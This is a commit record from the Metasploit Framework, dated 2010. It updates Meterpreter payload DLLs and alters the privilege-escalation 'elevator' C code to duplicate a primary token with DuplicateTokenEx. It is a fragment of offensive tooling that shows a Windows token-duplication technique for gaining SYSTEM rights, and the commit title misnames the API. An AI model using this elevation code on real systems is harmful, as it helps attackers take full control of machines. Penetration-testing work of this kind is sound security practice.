Switch the elevator methods to DuplicateHandleEx to get a primary token

git-svn-id: file:///home/svn/framework3/trunk@9755 4d416f70-5f16-0410-b530-b9f4589650da
2010-07-09 21:23:05 +00:00 · 2010-07-09 21:23:05 +00:00 · ec9156827e
parent 29f9f6671e
commit ec9156827e
17 changed files with 2 additions and 2 deletions
--- a/data/meterpreter/elevator.dll
+++ b/data/meterpreter/elevator.dll
--- a/data/meterpreter/elevator.x64.dll
+++ b/data/meterpreter/elevator.x64.dll
--- a/data/meterpreter/ext_server_espia.dll
+++ b/data/meterpreter/ext_server_espia.dll
--- a/data/meterpreter/ext_server_espia.x64.dll
+++ b/data/meterpreter/ext_server_espia.x64.dll
--- a/data/meterpreter/ext_server_incognito.dll
+++ b/data/meterpreter/ext_server_incognito.dll
--- a/data/meterpreter/ext_server_incognito.x64.dll
+++ b/data/meterpreter/ext_server_incognito.x64.dll
--- a/data/meterpreter/ext_server_priv.dll
+++ b/data/meterpreter/ext_server_priv.dll
--- a/data/meterpreter/ext_server_priv.x64.dll
+++ b/data/meterpreter/ext_server_priv.x64.dll
--- a/data/meterpreter/ext_server_railgun.dll
+++ b/data/meterpreter/ext_server_railgun.dll
--- a/data/meterpreter/ext_server_sniffer.dll
+++ b/data/meterpreter/ext_server_sniffer.dll
--- a/data/meterpreter/ext_server_stdapi.dll
+++ b/data/meterpreter/ext_server_stdapi.dll
--- a/data/meterpreter/ext_server_stdapi.x64.dll
+++ b/data/meterpreter/ext_server_stdapi.x64.dll
--- a/data/meterpreter/metsrv.dll
+++ b/data/meterpreter/metsrv.dll
--- a/data/meterpreter/metsrv.x64.dll
+++ b/data/meterpreter/metsrv.x64.dll
--- a/data/meterpreter/screenshot.dll
+++ b/data/meterpreter/screenshot.dll
--- a/data/meterpreter/screenshot.x64.dll
+++ b/data/meterpreter/screenshot.x64.dll
--- a/external/source/meterpreter/source/elevator/tokendup.c
+++ b/external/source/meterpreter/source/elevator/tokendup.c
@ -37,8 +37,8 @@ BOOL elevator_tokendup( DWORD dwThreadId, DWORD dwSecurityRID )
 		if( !AllocateAndInitializeSid( &NtAuthority, 1, dwSecurityRID, 0, 0, 0, 0, 0, 0, 0, &lpSystemSID ) )
 			BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. AllocateAndInitializeSid failed" );

-		if( !DuplicateToken( hProcessToken, SecurityImpersonation, &hToken ) )
-			BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. DuplicateToken failed" );
+		if( !DuplicateTokenEx( hProcessToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hToken ) )
+			BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. DuplicateTokenEx failed" );

 		if( !pCheckTokenMembership( hToken, lpSystemSID, &bIsSystem ) )
 			BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. CheckTokenMembership failed" );